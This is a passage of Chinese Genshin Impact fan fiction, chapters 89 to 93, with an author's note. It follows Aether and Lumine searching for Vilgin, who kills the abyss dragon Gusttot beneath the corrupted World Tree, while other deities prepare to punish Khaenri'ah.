荧的身形却陡然一僵。 旅途是短暂的,曾经他们兄妹互相只有彼此,就算在旅途遇见了某些难以忘怀、值得留恋的存在,但也很快就能够脱身。 可如今,拯救妹妹途中遇到的热心友人也已经成为了这趟危险旅途中一抹不可失却的色彩。 “想要跟天理道别吗?”荧提议道,“正好天空岛是天理的地盘,再不趁着这个时候告别,以后可就没有机会了哦!” 空一时之间甚至没有反应过来,本能发声:“诶?” “别装,我还不知道你在想什么?再说离开之前跟朋友道别可是基本的礼仪,更何况哥哥不是说过吗?天理在旅行中帮了很多忙——”荧狡黠地眨了眨眼,“而且这时候去道别,说不定还能蹭点提瓦特特产或者是伴手礼什么的一起带走,那可是天理——认识第一天听完我们兄妹分别的故事后就毫不犹豫伸出援手的天理诶!所以哥哥,快去跟人家好好道别吧!” 说完不等空继续纠结,荧快刀斩乱麻,把扭扭捏捏的空捉到了正在测算裂缝坐标的派蒙眼前。 “尊贵的时间之魔神,可以请您帮一个小小的忙吗?” 满头大汗的时间之魔神哭丧着脸:“呜……你们先逛逛天空岛打发时间好吗?我第一次把人从提瓦特送出去,万一算错坐标让你们撞维尔金本体上,我一定会被维系者嘲笑一辈子的……” “不是在催你测算坐标啦,跟维尔金有关。”空轻咳两声,说道:“……维尔金现在在天空岛吗?虽然世界重置之后我们就再也没有见过免了,但是先前麻烦了他这么久,我想跟他认真道个别。” “道别?”派蒙停下笔尖,认真思考道,“也算是在天空岛,不过他现在正处于沉睡状态,如果只是简单道个别也不用刻意跑一趟啦。维尔金已经习惯了各种人类和非人类不辞而别,所以你们直接离开,他也不会介意的。” “这怎么行。”空认真说道,“走之前不能留下点礼物就已经很不礼貌了。” “也好,正好能趁这个机会让维尔金醒来休息一会。”派蒙爽快地给空指路:“就在天空岛正中心宫殿的最高处——这家伙这会应该在梦境中勤勤恳恳批改公文,如果要叫醒维尔金的话,可一定要记住好好叮嘱他劳逸结合哦!” 空点点头:“我会的——那派蒙现在需要劳逸结合一下吗?” “你说得很对!” 精准捕捉到空言外之意的派蒙眼睛都亮了一度,飞到空和荧面前,兴冲冲地就把他们二人领到高大的宫殿前,嘴里还不停碎碎念道:“让客人独自拜访天理的寝居也太没有礼貌了,到时候万一哪天维尔金跟维系者说起这个事情,我一定会被教训到两天都吃不下饭的!” 哪怕是重置世界之后、拥有全盛时期力量的派蒙也还是派蒙嘛!空这么想着,心中的思绪开始纷乱——不知道荧的时间线认不认识派蒙呢? “……其实也认识,不过方式和途径不太一样。”荧说道。 “什么?”空难以置信,“我居然就这么把自己的心里话说出来了?” “世界树真是奇妙啊。”哪怕是作为时间之魔神,派蒙也不得不由衷地感叹法涅斯所留下的这个后手的神奇之处,“虽然我没有重置之前世界线的记忆,但我相信,我们肯定非常合得来。” 空举起大拇指:“当然!” 荧半抿着唇,也跟着夸奖:“派蒙,最好的伙伴!” “真是的,说得我都要不好意思了。” 喜滋滋挨夸的派蒙嘴角已经要翘到天上,兴致高昂的时间之魔神将空荧二人引至一个高大的宝石门前,大大咧咧地推开—— “维尔金,快醒醒!你的好朋友来看你啦!” 派蒙的声音回响在空无一人的房间,显然,房间的主人早已离开,而镇守在外的魔神却一无所知。 床铺收拾整洁叠在一边,一张熟悉的地脉之花出品卷轴静静躺在床铺的中心。 充沛的元素力顺着房门的缝隙遛出,转眼融入天空岛空气中逸散的元素力之中。眼尖的荧发现了试图浑水摸鱼和其他普通元素力们一起逃逸的深渊力量,正准备出手将其吸收,一个金色、形似捕梦网的装置迅速将之收拢压缩,存放在一个透明的玻璃罐中。 荧不自觉上前半步。 身体本能告诉她,那里面存放着的,就是坎瑞亚人可望而不可得、不含任何杂质的纯粹深渊力量。 ——但是这种东西,为什么会出现在天理的寝居?祂是向来视深渊力量如禁忌、视深渊魔物如仇敌的吗? 她看向天理的床铺,率先走入寝居内,将那张卷轴拿起。 世界树?这不合常理。 浸润深渊力量已久、并且通过坎瑞亚得到了不少关于深渊一手资料的荧很清楚,纯净的深渊之力在常态下根本不存在,这就像自然界中只有纯粹的元素生物才拥有纯粹的元素力一样,唯有传说中只存在于另一个世界生物才拥有纯粹的深渊力量。 哪怕是经过她净化提纯的深渊力量,也会存在污染元素力量的杂质。 但是刚刚荧看得很清楚——刚刚试图逃逸的,就是真正的纯粹深渊之力! 天理为什么会有这个? ……可恶,还少了一个把一切事情连在一起的关键线索。 “这……维尔金去哪儿了?!” 派蒙看着空荡荡的寝室,结结巴巴,“难道维尔金也下界前往坎瑞亚了吗?!我的天哪,坎瑞亚不会真的要爆炸了吧?” 空略微有些失落:“维尔金居然亲自下界去处理坎瑞亚的烂摊子了吗?” 也是,毕竟是造成后世提瓦特深渊肆虐、尘世七国状况频发的缘起,维尔金亲自下界监督也是情理之中。 只是正好就这么擦肩而过,总归还是有些遗憾。 “恐怕不是。”荧的半抿着唇,拿起卷轴,心脏已经沉入谷底,“看起来,提瓦特目前存在的麻烦比我们看到的要多得多……” “哥哥……”荧试探性问道,“要不我们……” 空接过卷轴一目十行,“世界树情况不妙,有急事直接去现场找我……嘶,不会是因为坎瑞亚人对地脉动的手脚,导致世界树的状况比之前的世界更加糟糕了吧?” “不排除这一种可能。”派蒙也难得严肃起来,正色道:“事发突然,可能没办法让你们等到维尔金回来了,我这就送你们前往世界边缘,你们尽早离开。” 空扭头询问荧的意见:“你觉得呢,荧?” “那就去吧。” 荧轻轻抚摸着手臂上狰狞的疤痕,喃喃道:“正好,我也有一个需要祂解惑的、困扰了我很多年的问题。” 第90章 第 90 章 "——" …… "——" 碎裂的根瘤中的腐蚀性脓液堪堪擦过花之女主人的脸颊, 好不容易找到附着物的深渊残渣本能地榨取元素力,在没有完全突破皮肤表面防护的情况下,甚至连魔神的元素力都无法迅速杀死他们。 “维尔金大人还没有解决世界树的问题吗?” 有一颗巨大的脓包即将破裂, 阿蒙迅速聚拢赤砂, 把即将爆炸的深渊污物统统笼罩在砂砾之下。 连续鏖战不知多少个日夜, 高度神经紧绷之下, 纵使是他也不免喘着粗气。 “再坚持一下, 必须要阻止深渊力量外泄。” 翠绿的光辉自布耶尔全身散开,草木的精灵充作顽强的医疗兵,赤沙之王的眷属们指挥臣民们将战线压缩在地下,花之女主人的眷属们更是时时刻刻在用那散发着金色鎏光的力量净化目之所及的一切污染。 但也只是杯水车薪。 从第一颗状似肿瘤的深渊凝结物从世界树上被阿佩普找出来的时候,世界树就像是一个不再掩饰自己意图的魔鬼, 疯狂地催熟引爆身上的深渊污秽。 娜布由衷地佩服大慈树王的前瞻性。 意识到大事不妙的花之女主人第一时间联系了前脚才休假的布耶尔和阿蒙,不同于才刚刚接手看护世界树任务的娜布,作为多年来看管世界树的专家, 布耶尔单单透过娜布的水镜投影瞄了一眼就意识事情非同小可, 当机立断离开净善宫赶往世界树,同事还不忘联系赤王,安排好人手, 调动了雨林和沙漠众所有可调动的力量, 这才及时将诸多生物撤出沙漠地区。 高傲如赤土之王也不得不承认, 没有之前在自己看来显得有过之而无不及的撤离, 须弥就真的完了。 “不过话又说过来, 虽然说维尔金大人给的任务实阻止深渊力量外泄——” 花之女主人疲惫地看向脚下的巨大黑洞,喃喃道:“但是这种样子,真的只是被束缚住力量的形态吗……” 先前梦幻般的粉色叶片和时时刻刻都在飘落的花瓣已经消失,余下的只有如虫茧一般、分布在蜘蛛网状的脓包。扎根与土壤、与地脉构筑了整个世界的流转轮回的根系更是已经成为污染的源头。娜布看着依旧在不断向外扩张的根系, 仍然心有余悸。 被腐化的世界树再也不遮掩自己的真实面目,狰狞地向诸神与人类自己多年来异化的结果。 这颗被天理钦定为容纳世界万物、支撑世界轮转运行的支柱已经沦为了深渊的一份子。 “在察觉到自己已经暴露了被污染的事实后就果断选择先下手为强……” 娜布不禁问道:“世界树,真的只是一颗世界树吗?” “娜布,慎言。”布耶尔提醒道,“维尔金大人尚在地下奋战,至少不要在这个时候,消磨自己的意志。” “各位,我提议让眷属们先撤回大后方。”暂时清扫完这一片的根瘤后,阿蒙终于能够观察如今的形势。很快他就得出了一个近乎令人绝望的事实: “战线最多再维持三天,与其把他们的力量浪费在远超他们认知极限的腐化世界树身边,不如让他们守住最后一道防线……至少不会让他们的生命成为填补深渊的养料。” “但是这样,战线必定一泄千里。” “没错,所以只是提议,那么现在,我们开始投票。”赤沙之王扫视着自己的同僚,他已经在心里给出了答案,“我已经给出了我的意见,娜布、布耶尔,接下来就该由你们来行使作为须弥三神、作为尘世执政、由维尔金大人赋予的权利——” “是忠贞不渝地执行天理大人的命令坚守阵线,还是为了保留有生力量,放任污染侵吞整个沙漠地区?” “你知道自己在说什么吗?”布耶尔感到不可思议,“追随你的眷属和人类大多都来自沙漠,你的神殿,你的一切,都将随着深渊的洪流被吞噬殆尽,哪怕之后重新将深渊的力量净化,沙漠也无法恢复到从前的辉煌。” “我知道,所以这是我的提议,也只能由我来提出。”阿蒙继续说道,“我计划将战线退到阿如村,退一万步如果阿如村也不行,那就继续退到喀万驿。但底线也是喀万驿。这两个地方都能够利用现存的地势落差建立防御术式,并且靠近雨林远离沙漠腹地,世界树的枝蔓在那里也难以伸开手脚。只要我们能够将整个雨林作为我们的回补营地,区区被断开地脉链接的一颗被腐化的世界树,我们对耗也能耗赢。” 布耶尔犹豫:“可是如果我们撤离,相当于留维尔金大人一人孤身作战……” “你害怕祂会因我们没有遵照祂的指示而迁怒于我们?” 阿蒙笃定道:“祂不会的,而且我们都清楚祂的本质,于祂而言,被腐化的世界树说不定还更加亲近些。” “不是的,”布耶尔摇了摇头,大慈树王将视线投向狂暴后陷入虚弱的腐化世界树,叹了口气,“祂变得有些不一样了。” “何以见得?” 布耶尔奇怪地看向阿蒙:“娜布能够好好站在这里不就说明了这一点吗?” “所以你是担心,我们的撤离导致好不容易生出一些怜悯之心和人性的天理大人再度回归到那堪比深渊巨龙、只会用暴力解决问题的本能状态吗?” “先不要收缩战线,直觉告诉我……”娜布看向突然又抖擞精神的世界树,无数的肿瘤在无外力作用下正在炸裂破碎,“先前世界树的狂暴,不是在宣泄自己那无与伦比的力量,而像是在……” “垂死挣扎?” “不要再垂死挣扎浪费时间了,放弃无畏的抵抗,这样至少等会我会温柔一些。我想想……封印在天空岛上面的话,淤泥在上面过得也不错,你们两个还能互相做个伴。” 维尔金的声音回响在空荡荡的世界树底部。 但在古斯托特耳中,这声音如同催命的号角。 漆黑的地底,世界树的根系侵占了这里每一寸土地,而不同于地上的世界,这里的枝蔓上即不存在可怖的肿瘤,也没有深渊的力量。 偌大幽深空间里,只有一条伤痕累累气喘吁吁的魔龙,以及面不改色心不跳、好像是溜达下界的天理本人。 维尔金在古斯托特身前停下脚步。 “布耶尔他们应该也等不及了——一直躲着我多没有意思,浪费我这么多时间才把下面破破烂烂的世界树根系修补好……想要要为之付出什么代价了吗?” 维尔金一边说着,一边掏出了魔龙的心脏。 “你背叛了我们,你背叛了你的本性,向法涅斯那种家伙宣誓效忠……终有一天,你也会死在那些视你为异类之人的手中……” 魔龙口吐着烈焰,身上萦绕着由恐惧和毁灭凝聚成的实体。这条可止小儿夜啼的恐怖魔龙在以人类姿态显现于世的天理面前却是那么的柔弱渺小。 涔涔的鲜血顺着维尔金的利爪流入土地,而祂却丝毫不在意,只是嫌弃的咬下手上的一团赤红色血肉,无情地说道: “来来回回就这么两句挑拨离间的鬼话,古斯托特,你可真是越活越回去了。” 藏匿于世界树根系之处的诡异黑色漩涡在背叛了自己种族本性的同胞面前显得格外弱小。 难得吃饱喝足,维尔金心情好上不少,祂现在不急于将古斯托特杀死。 死亡对深渊魔物而言没有意义,维尔金现在所追寻的,是一个完美的、不会再有灾厄和深渊侵袭的提瓦特,他看向算是半个同类的古斯托特,说道: “放宽心,我会原谅他们为拯救人类所犯下的一切错误,因为罪魁祸首是你,还有那个那个连名字都没有东西。” “放心好了,古斯托特。” “我会将你们的血肉从地脉中重新收集拾起,将你们的灵魂和力量放置在永远无法接触到人类和外界的天空岛,直到这个世界迎来终结——”维尔金顿了顿,低下头,将魔龙的残躯拎起,轻声说道,“届时,我将解放你们的灵魂,在焚烧世界的火焰和重新归来的混沌中载歌载舞。我可以许诺,从世界上所有生命消耗殆尽,到下一次重置开启、新的生命诞生之前,深渊的魔物将会成为我的眷属——” 维尔金几乎可以拍着胸脯保证:“完美的计划!哪怕连维系者也挑不出任何毛病来!” “你早疯了,还疯得不轻。”古斯托特喘着粗气,“淤泥那家伙一直对你的认知存在错误。” “它最大的错误是告诉了我,你们也能在世界重置中保留意识。” 维尔金耸耸肩,手下败将的强词夺理和懊悔失意对他来说没有任何意义:“同样的错误,我不会犯第二次。” “现在,是时候将深渊力量肆虐大地数千年的历史画上句号了——” “是吗?” 伤痕累累的巨龙眼中闪烁过一道精光—— “你说,世界树出问题的话,那个无神的人类国度,又会发生什么呢?” 维尔金停滞了一瞬。 “我已经将坎瑞亚放置在七国的保护之下,维系者更是时时刻刻紧盯着它。”维尔金自信说,“同样的错误,我不会犯第二遍。” “哈哈哈,咳咳,哈哈哈哈哈哈哈——” 魔龙放肆地笑着,暗淡的瞳孔也精神了些许、 维尔金皱着眉,又卸下古斯托特的翅膀。 “你还是乖乖以深渊力量的形态呆在天空岛吧,吵闹的魔物。反正不能离开天空岛,翅膀我就先拿走了。” “……真是令我开怀大笑,尊贵的天理大人,你错得离谱。” 古斯托特的语气满是嘲弄:“坎瑞亚人不会觉得你在保护他们,正如你从来不在乎你的同胞、那些被你视作养料的长生种,还有被你设下无数禁制的魔神一样——” “你不会真的以为,坎瑞亚人追寻深渊是受了我们的蛊惑吧?”《 》 90-100 第91章 第 91 章 古斯托特之死(修)…… “当然不是啊古斯托特, 你不要给自己贴金了。实力不行没有脑子就算了,居然还这么不懂得谦虚,你怎么能这么高看自己呢?” 维尔金说出能令古斯托特当场吐血而亡的话语后, 有些嫌弃地看着半张着嘴蹦不出一个字的魔龙, 俯下身, 又给自以为能够让维尔金怀疑自己所作所为意义的古斯托特一记重击—— “尤其是当我游历了执政官们统治的国度之后, 我清楚地意识到, 人类并不完美,法涅斯所创的生命不像生命悠远的巨龙一样强大智慧。人类寿命短暂、情感丰富,他们终其一生都能不断学习前进,偶尔误入歧途,成为比深渊更加恶心的存在。” 古斯托特瞪大了双目, 连附着在身上的、幽蓝色如雾气的深渊力量都因他内心地震动而剧烈晃动了几下。 这时,他才惊恐地发觉,这位名义上的同僚、实际却在不断屠杀深渊同胞的存在似乎并不如自己所想的那般一无所知。 “为什么?” 古斯托特艰难地喘着粗气, 虽说实力对比悬殊, 但他已经做好了这次连重置再来都或许没有的机会,质问眼前从未显得如此陌生的同族:“难道所谓的再造之恩能够比得上血脉相连、同族同生的烙印吗?为什么要为了那种跟做白日梦没什么差别的遗愿浪费这么多力量?我原先只是以为你对此一无所知,但你既然知晓你的本质、清楚你的来历, 那你更应该知道, 你所做的一切没有任何意义!杀光地上一切生灵、以「提瓦特」为方舟, 去寻找全新的、年轻的世界, 才是唯一正确的道路!” “再造之恩就够了, 别的都是空话。至于提瓦特……我总能找到办法的。” “别骗自己了,虚假之天!” 古斯托特怒吼,他强撑着一口气,努力从肮脏的地洞爬起, 却又因为伤势过重而重重跌倒在地。哪怕如此狼狈,如此不堪,他依旧恶狠狠地盯着维尔金,不知道是在为他逃避的想法而感到愤怒,还是在为自己的怀柔攻势一无所获而气急败坏。 “我在深渊见证了每一次的重置——”古斯托特喘着粗气,愤怒道,“不管我们是否卷土重来,不管你如何改变,你也已经数次亲眼见证过世界的终焉。既然如此,那为什么还要尝试改变?为什么不趁着储备的地脉尚未完全耗尽,驱使「提瓦特」,离开这里、寻找一个全新的、弱小的世界——” “那么原住民会死光的。” 维尔金不为所动,他很清楚,古斯托特正试图把他的思绪引导向最极端、最冒险的道路上去。 可惜,不管是法涅斯的造物,还是提瓦特的原住民都早早地成为了这个世界的一部分。 若是违背自然的规律,强行将他们带走…… 世界诞生之初,从星空漂来的、沾有禁忌知识、尚有余温和神经的残肢,就是他们的未来。 或许那时,只有他们这样的存在才能活下来。 维尔金顿了顿,他想到了身处离岛却鱼肉同类的勘定奉行,想到了脱离魔神庇护后依然坚定前行的千岩军,以及蒙德,象征自由的魔神将选择的大权交予人类。 “人类和我们不一样,古斯托特。”维尔金回忆道,“他们中的一些人堪比腐败的日落果,比深渊地底的魔物更加贪婪,但是另一些人却如熠熠生辉的宝钻,他们之中一些人的灵魂,甚至连我都想珍藏在天空岛上——别这么看我,虽然我觉得美好的世界挺丑的,但我的确这么试过。” “你果真是疯子。” 维尔金不予理会,继续说道:“后来那夺目的灵魂在罐子里日渐黯淡,维系者劝我不要违背自然的规则,从我的手中抢走了罐子,把那片黯淡的灵魂放生,让它得以顺着元素力的流动重归地脉。” “一个脑筋急转弯,当然赢了也没什么用处就是了。”维尔金顿了顿,给予魔龙以充足的遐想空间,“你猜猜,那个人类的灵魂,最后变成什么样了呢?” “是在重获自由后渐渐寻回了它夺目的光辉,还是在地脉的循环往复中褪去色彩呢?” 古斯托特冷笑一声:“显然,都不是。” 古斯托特死死盯着眼前的天理,沙哑的声音越来越低沉: “地脉会吸取灵魂的力量维持提瓦特的四季更迭、日落月初……魂归地脉的唯一下场,就是在被世界树读取数据并记录之后、□□被根系分解,成为这个可悲如过家家一样的该死世界的运行能源!” 空气刹那间粘稠了几分。 半晌过后,维尔金才缓缓道:“回答正确,反应很快。” 虚假之天抬起手,为世人所知的金色光辉被幽蓝色、如同深邃漩涡、仿若能吸纳所有活物的力量所取代。 魔神中流传着一个众神皆知、但是一直无神解答的困惑—— 为何只有「天理」的力量才能消除深渊的污染、彻底抹杀深渊生物? 这就是答案。 唯有深渊生物才能操控深渊力量,维尔金所做的,从来都不是净化,而是吸收。 勘破这层迷雾之后,一切疑问便能迎刃而解,只需要用晃眼的金色光辉作粉饰,就能利用暗藏在金色光辉之下的这正本相吞噬掉一切有关深渊的力量。 “你的错误来源于高估自己的智慧、低估我的决心。” 幽蓝色的力量凝成散发着幽幽寒气大的冰刃,古斯托特被这股强大的力量镇压得近乎无法呼吸。 如果……如果这份力量能够跟他们站在一起…… “深渊之浮灭者。” 维尔金再度睁开眼,那对金色的眸子中已经盈满深如海沟的墨蓝。 “你是一位值得尊重的对手,你的谋略和决心,是我所见过之最。为表敬意,我将褪去我华而不实的虚假外表,以最真实的姿态砍下你的头颅——” 维尔金的冰刃指向完全放弃抵抗的魔龙: “还有遗言吗?” “终有一天,你一定会后悔的。”古斯托特平静地说道,“我将怀揣着这一天终将到来的期盼,在直至在世界的末日破土重生——” “天理,违背物种的本能的你,本身就是一个错误。” 维尔金闭上眼。 “尼伯龙根称我为虚假之天,魔神们皆知晓我的真身,哪怕是你们,古斯托特……在你和淤泥眼中,我是名为「维尔金」的「卵壳」,我生来就该与你们融为一体,填补你们因为没有吞噬卵壳而缺少的力量……只可惜,一切在开始时就不一样了。” “再见了,古斯托特。我将践行我的诺言,在世界毁灭的焰火绽放之时,许你们一片乐土——” 手起刀落,魔龙幽蓝色的灵魂从脏器中逸散开来。只是不同于淤泥,古斯托特没有逃跑,仿佛是认命了一般,乖巧地漂至维尔金掌心中。 维尔金微微叹了口气。 金色的皮囊再度附着在身,幽蓝色的本源力量也被金色的光芒掩盖。 他看向了天空,缓缓吐出一口浊气…… “我会的……直至,人类再度重生。” 地上·世界树边缘 太阳渐渐西沉,夜晚沙漠的失温让灼热的占据渐渐冷却。 阿蒙的提案再度上桌,但这一次,他们再也不需要进行纠结。 他们的上司提着魔龙的头颅,在高悬明月的光芒中,宣布道—— “我已诛杀污染世界树根系的巨龙,世界树的污染也已经全部清除!” 伴随着天理轰动的言语,世界树仿佛像是重获自我,扭动着连成脉络的根系。肿瘤中的脓液迅速失去攻击性,脓包变得干瘪,坏死的树枝断在半途。 阿蒙惊疑不定地抚上娜布先前还沾染着深渊力量的伤口。 ……这就是,天理的力量吗? 一切好像恢复正常,只有断裂的根系以及先前爆炸的腐蚀性脓液还在无声彰显着先前状况的惨烈。 他们为之头疼的污染……居然就这么解决了? 娜布顾不上心事重重的阿蒙,惊喜道:“维尔金大人!” “太好了,您没事……”布耶尔也悄悄松了一口气,暗中指挥兰娜罗们可以稍作休息。有天理在,须弥沙漠重归原本姿态也不过是分分钟的事情。 “恭候您的回归,大人。”阿蒙屈膝跪地、伏身领罪,“请宽恕我先前试图违逆命令的僭越之举,我们对您的力量仍然认知不足……” “不用为战场中理性的违逆之举道歉,也无须为深渊的入侵而感到绝望。我会踏平和谐、美满、幸福生活途径之前的一切阻碍。” 维尔金看着请罪的阿蒙,平静地说道,仿佛只是在陈述一个事实那么简单。 “就像是当年覆灭尼伯龙根一样。” 空气瞬间凝固,但维尔金却像是不曾察觉一般,继续自顾自道: “很抱歉毁灭那样一个辉煌灿烂的文明,龙族固然美丽强大,但一日长生的非人类们占据着大地,短生又弱小的人类根本不可能建立起自己的文明,甚至连生命都无法保住。” “对于非人类长生种而言,顷刻的呼吸就能吹翻人们辛辛苦苦数十年才能搭载建设好的城镇,一个幼年期的小龙随随便便吐出的火球能迫使一个无长生种庇护的村庄失去所有。” 维尔金顿了顿,又将目光投向或敬畏、或庆幸地看着自己的三位魔神。 “我的行为绝非正义,我毁灭了古龙引以为傲的尼伯龙根,又在诸位魔神的身上赋予爱人的枷锁,甚至连世界树,我动用了一切,只为了让这个残破的世界和弱小的种族延续下去……” 维尔金一时兴起问:“你们觉得,我这个天理当得怎么样?” 三神面面相觑,这个问题是谁也不敢动的禁区,沉默继续在夜晚的沙漠蔓延。 维尔金当然也无所谓他们的回答,古斯托特的话并不是毫无作用。他抬起头,看向已经死去的月亮。 “……算了,就这样吧。”—— 作者有话说:浅修一下 第92章 第 92 章 此时正是黄昏,夕阳…… 此时正是黄昏, 夕阳烙印在地平线上,两位执政官在高空中注视着余晖把最后一丝亮光带离无神之国。 夜晚来临,人造灯光亮起, 转换装置为机械提供雷元素力量以作能源, 愚昧的人们行走在大地, 在辛勤劳作一天之后忙里偷闲地享受自己来之不易的闲暇时光。 原本应当是使影之执政官愉悦的景观, 但在维系者的视野中, 她能够清晰地看见,用以维持物种生存的地脉已经分崩离析。 这片土地上虚伪的繁荣昌盛来源于卑劣者自私的偷窃和盗取。 卑鄙的盗取者用劣质的深渊力量填补亏空的地脉,试图粉饰太平,结果直接导致他们辛辛苦苦妆点的世界被玷污得肮脏不堪。 掌管空间的执政官透过灯光看见了地底已经不堪重负的管道,在降临者兄妹离开这片大地、派蒙的权能解除停滞的时间之后, 失去核心的机械将彻底失去粉饰太平的作用,已经被浓缩到极致的深渊污秽将突破已经完全失去地脉庇护的最薄弱之处,冲出被地脉笼罩的土层, 将一切笼罩在深渊的污染之下。 维系者静静地等候一切既定未来的到来。 “我本以为你不会答应的。”若娜瓦的眼睛同样注视着这片大地上的一切, 和在天空俯瞰大地的同僚不同,她总是在地下,喜欢抬头仰望着那位原初之人创造的一切。 天上的一切总是那般美好, 或许是因为地下太过靠近深渊, 人们也会本能的在太阳笼罩不到的阴影之处藏匿龌龊和龃龉。也正因如此, 若娜瓦早早地闭上了自己的心房, 将容貌隐匿在漆黑的天空, 徒留凌厉的眼瞳评判世间的一切,她的权能也不再无私的赠予,转而坚信唯有足够残酷的代价才能使人明事理、知进退。 维尔金从不评价祂们个人的观点和执念——这一点在对待尘世七执政上也是如此,只要不违背他所制定的规则, 维尔金总是很好说话。 但是若娜瓦清楚,这一次维尔金绝对会生气,甚至更糟糕一些——这位把死人不知道多少年前留下来的话一直奉为圭阜的天理因为他们放任坎瑞亚的一切彻底恶化再降下惩戒而出手…… 谁知道呢? 若娜瓦直勾勾地盯着自己沉默不语的同僚,后者已经用实际行动给出了答案:把执掌时间权能的派蒙彻底摘出这场理念之争,但是又用实际行动表达了自己的决心—— “坎瑞亚必须得到惩戒,而且就是现在。”维系者问,“地下淤积的深渊力量短暂向须弥方向流动了一瞬……世界树那边维尔金已经解决好了?” “娜布传来消息,维尔金已经把古斯托特拆了。”死之执政发自内心地感慨,忍不住畅想:“要是祂能够心狠一些……” “要是祂心狠一些,就会是我们的敌人了。”维系者表情奇怪地盯着同僚裸露的赤瞳,忍不住说道,“你认真想想,要是祂足够心狠手辣不择手段,一副皮囊和一个名字可不足以让祂记挂这么多年。退一万步讲,要是祂真是那种杀伐果断、不近人情的家伙,就算法涅斯当年能凭借一副躯壳的恩情,就别指望还能够留下什么雏鸟情节了——” 维系者顿了顿,显然是想到了另一位有名有姓的深渊之主:“古斯托特不就是这样的吗?要是他们两个性格呼唤,我真不知道提瓦特和我们哪个先没。” “也是……”若娜瓦轻轻叹了口气,“你和祂相处的时间最久……你认为……祂会一直坚持下去吗?” “不是「祂」,是他。” 维系者吐出一个浊气,抬头望向随着夜幕的降临而闪烁着冰冷光辉的命星。 “至少在谈论他的时候,别再继续用不知道多少年前的有色眼镜去描绘他了吧?”维系者说道,“他做的很好,不管是作为维尔金,还是作为虚假之天,亦或是作为天理,我敢担保,哪怕是法涅斯本人来,都不一定做得比他更好。很久很久以前,维尔金跟我提过卸任天理一职的事,我没有答应。” “为什么?”若娜瓦不解,在她心目中,法涅斯创造名为四影执政的存在不单是为了抗衡尼伯龙根,恰好相反,在她眼中,四影执政的存在比起辅佐,更加近似于监视,而维尔金也的确有充足的、需要被监视的理由:“随着法涅斯创世的力量日益消散,随着世界的薄膜越来越透明,他只会越来越难以把控,直至背叛法涅斯的初衷……” “你只需要看他在做什么就好。”维系者叹了口气,自知无法消弭同僚存在多时的固有偏见,也不再多说什么,继续等待地底涌动的潮水袭来。 世界树拥有一定的自净能力,也会本能地将深渊的力量拒之门外,但谁能想到坎瑞亚人动手能力这么强? 自然淤积的深渊力量不足为惧,就像一条河流,它或许会用迅猛的流量冲击出新的平原,但这至少有迹可循,他们至少可以循着水源和降水,分析出这条河流是如何从幽静变得暴虐,柔弱变得凶猛。 维尔金给这个世界构筑了绝无仅有的环形检测体系。以世界树为根、以地脉之花为节点,通过地下生生不息循环往复的地脉涌流,将整个提瓦特的信息掌握其中。包括之后在局势稳定后任命统治七国的尘世七执政之职,以及给部分长生种预留下来的一线生机,一切的一切都恰到好处,既不多也不少。 不论是谁,在见到这以世界为蓝本、以生命和力量为构图的伟大设计,都会忍不住赞叹创造者的大胆巧思。 可是坎瑞亚人毁了这一切。 对,不是深渊,是坎瑞亚人毁了这一切,维系者甚至克制不住地想回去给当时打算给坎瑞亚人一个深刻教训的自己扇两个巴掌。 为什么地脉力量会迅速流失?因为坎瑞亚人在抽取地脉的力量! 为什么预警失效他们毫无察觉?因为脑子有泡的坎瑞亚人拆东墙补西墙,用深渊的力量填补因为抽取地脉力量所造成的空缺——都不能算是拆东墙补西墙,这是在拿沟渠的污油去填补纯净的清泉,而后又把排污的管道藏匿起来…… 维系者失语了许久,一时之间,她甚至无法用语言去形容她在得知真相后那一瞬间的想法。 一直盘踞在纳塔少有回归天空岛的若娜瓦为维系者拨开了最后那一层迷雾,那种说不上来的酸涩感却始终盘桓在维系者胸腔那颗模拟人类跳动的心脏之中。她没有把真相告诉维尔金,就像若娜瓦在最开始没有把真相告诉她一样,执政官们沉默地压下了一切。 时间不总是短暂的,磨损与其说是诅咒,倒不如说是自然的规律。生命率先沉入泥潭,时间悄然融入世界,死亡又慢慢沉入地底,唯有空间身处高天。 法涅斯创造了最初的一切,在祂死去之后,旁人口中的虚假之天和四影执政修缮了一切,如今时过境迁,伊斯塔露销声匿迹,将权能交予派蒙代行其职;生命的执政早早地在填补缺失的地脉力量时就已经隐入大地和流水。现如今真真正正从原初留存至今的,居然也就只有她们二人与维尔金而已。 时间并没有冲淡一切,只是将精美绝伦的造物腐蚀败坏,又将细节变成粗糙的轮廓,将一点一滴的记忆变成朦胧的梦境。 “开始吧,维系者。”维系者听见若娜瓦说道,“至少七国不应该被坎瑞亚波及——我早说过这种叛逆的国度就应该发配边缘裂缝,不至于清理时浪费人力物力。” 维系者没有回答,璀璨的眼眸里,普通人无法窥见的视野中,黑潮的阴影已经将整个坎瑞亚囊括其中。 很好—— 至少这一次,不会再有麻烦又超出掌控的家伙离开了。 第93章 第 93 章 无所谓,还有重置呢 “……你说得对, 这座雪山的存在是错误的。” 冥冥之中,维系者透过如今的坎瑞亚,好像再度回到了千年前的古国。 和坎瑞亚一样, 同样也是被偏爱的人类国度, 同样也在最初拥有澄澈的双眼和纯净的心灵, 同样让人爱不释手。 维系者这辈子恐怕都无法忘怀那个美丽的国度。 参天的巨树流淌着岩浆一般火红的血液, 地上长满了青翠的草丛灌木。 她偶尔也会顺着通道下界偷点小懒, 那会尘世七执政的名额还没有敲定,一巴巴托斯甚至还没有成为狼王和高塔之王名讳之下的新角总而言之,一切好像才刚刚开始,哪怕是犯了错误,那时候得到解决办法也很简单—— 告诉人类, 然后帮助他们修正就行了。 最开始,领头的男人尊崇祂们。 但紧接着,他们生出许多不必要的想法来。 首先失去的是阶级, 他们撤去了台阶, 以求视线平齐于神明。 接着是言语,他们得知了祂们的真名,妄图得到更多有利于己身的预言, 或者礼物。 最后越界的援助, 以及过界的祈祷。 还是男人, 但这次他换上了花纹精致繁复的神色长袍, 脸上爬满了皱纹在他的身边, 一位年轻的少女惴惴不安站在他的身边,维系者就站在维尔金的对面,看着人类祈求地望着自以为是神使、实际上是天空岛主人的存在。 维系者沉默的看着一切,所幸维尔金至少还保持理智。 “天空岛将降下制裁, 你们必须离去。” 她亲眼见证了维尔金作为天理的自持与冷静。 “回去亲吻地脉,去享受自然,去择一明主——回到地上,时间会抹平一切,你们会忘记和我们一起生存的日子,那才是人类唯一的去处。” 偏袒是有一定限度的,所幸并未超越这一准则。 那时候,她想到了更加古早的、关于时间的故事。 还是她,不同的是,这次她尚未拥有形态,在场的还有另外三位影子,以及和维尔金长相一模一样、却更加喜爱流露出本体的家伙。 